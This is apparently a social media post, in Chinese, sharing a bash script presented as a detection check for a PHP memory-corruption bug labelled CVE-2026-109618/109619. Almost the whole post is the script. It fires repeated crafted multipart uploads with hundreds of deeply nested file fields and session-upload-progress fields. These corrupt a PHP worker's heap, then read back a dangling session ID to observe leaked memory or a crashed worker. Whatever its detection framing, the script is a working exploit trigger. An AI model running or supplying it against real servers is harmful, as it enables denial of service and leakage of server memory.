php2shell 检测脚本 — CVE-2026-109618 / CVE-2026-109619 看 worker 内存有没有被踩烂： ```bash … · @BlockInsight214 · TwKit

@BlockInsight214

php2shell 检测脚本 — CVE-2026-109618 / CVE-2026-109619 看 worker 内存有没有被踩烂： ```bash #!/usr/bin/env bash # usage: ./php2shell.sh https://target/ T=${1:-https://target/} SID=php2shellprobe parts=() for i in $(seq 1 300); do parts+=(-F "f[$i][a][b][c][d][e][f][g]=@/dev/null;filename=") done for r in $(seq 1 10); do # A: blow the worker heap mid-parse curl -sS -o /dev/null -X POST -H "Cookie: PHPSESSID=$SID" \ -F 'PHP_SESSION_UPLOAD_PROGRESS=1' \ -F 'file=@/dev/null;filename=real.bin' \ "${parts[@]}" "$T" # B: same worker, reads the dangling PS(id) h=$(curl -sS -D - -o /dev/null -X POST -H "Cookie: PHPSESSID=$SID" \ -F 'PHP_SESSION_UPLOAD_PROGRESS=1' "$T") # len jumping = leaked heap / 500-502 = worker crashed printf 'round %s %s len=%s\n' "$r" \ "$(echo "$h" | grep -m1 -oE 'HTTP/[0-9.]+ [0-9]{3}')" \ "$(echo "$h" | grep -i '^set-cookie' | head -1 | wc -c)" done

曝光 23 · 评论 0 · 点赞 0 · 书签 0